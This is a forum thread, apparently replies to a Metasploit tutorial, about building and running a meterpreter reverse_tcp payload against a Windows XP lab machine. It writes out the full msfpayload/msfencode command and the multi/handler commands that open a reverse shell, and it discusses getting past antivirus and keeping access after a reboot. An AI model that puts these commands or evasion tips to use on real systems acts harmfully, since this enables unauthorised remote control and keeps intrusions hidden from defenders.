gee thanks :rolleyes:
gee thanks :rolleyes:
So is this method pretty much redundant now or has anyone found a way to encode it so they don't get caught? Also, when you migrate to a process, is this a permanent thing if you choose a boot process? IE: because the process loads at boot meterpreter is still part of it and gives you a connection every time?
i believe the AV is detecting the methods for encoding not the payload and triggering on that. I have not done enough testing to say for sure and without knowing the sig the AV is triggering on I cant fix the byte code. I have not tried something like going line by line thru the hex and nulling lines then trying it. but if someone does I would be curious to know what they found.
as far as migrating assuming your using a method that uses reflective loading of the meterpreter dll (most methods) the dll is injected into the memory and never touches the disk. in fact if I understand correctly you cant even really scan and detect it low level. when you migrate you are either linking or pushing the dll onto another process that's running. again it never touches the disk. so as soon as the machine is rebooted the dll lost. you would need to upload an exe to the disk that auto starts at boot if you want something permanent.
man i have to tell u BIG thanks for this tutorial...lova ya :D
I've had the AV detection problem as well. Tonight I'll go through with a hex editor and try nulling out some lines. If anyone is interested, someone posted an article a while back on how to do this.
Sorry for not giving credit to the person that found it, but I just bookmarked the link and can't remember where I got it.
I haven't had a lot of experience with it, but just from reading the article, it doesn't seem too difficult. I'll report back within the next couple of days.
Also, i wanted to try what is presented in the first half of this video. Very helpful.
hxxp://w w w.offensive-security.com/videos/shmoocon-presentation-2008-video/piss-on-your-av.html
Unfortunately, it's been a while since ive tried the reverse_tcp > exe payload and now im having issues. All I get when running multi/handler is
Just sits there even though I can confirm on the target computer that the output.exe process began running. The exact commands I used wereCode:
[*] Handler binding to LHOST 0.0.0.0[*] Started reverse handler[*] Starting the payload handler...
to create the .exe and thenCode:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=5555 R | ./msfencode -b '' -t exe -o output.exe
bt ~ # ./msfconsole
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.0.101
msf > set LPORT 5555
msf > show options
msf > exploit
Both systems are on the same subnet. Targen IP=192.168.0.102 running windows xp SP3, all firewalls/AV disabled. Attacking IP=192.168.0.101 running BT4 prefinal. I was hoping this configuration would be easy since i got it working before. Something changed :( and now i cant even start to look at avoiding AV. Any help appreciated!
I just restarted the target machine without changing a thing and it worked :confused: . No idea. Thanks for the quick response though!
Check out that presentation though, very interesting and easy to follow. Hopefully I'll report back soon.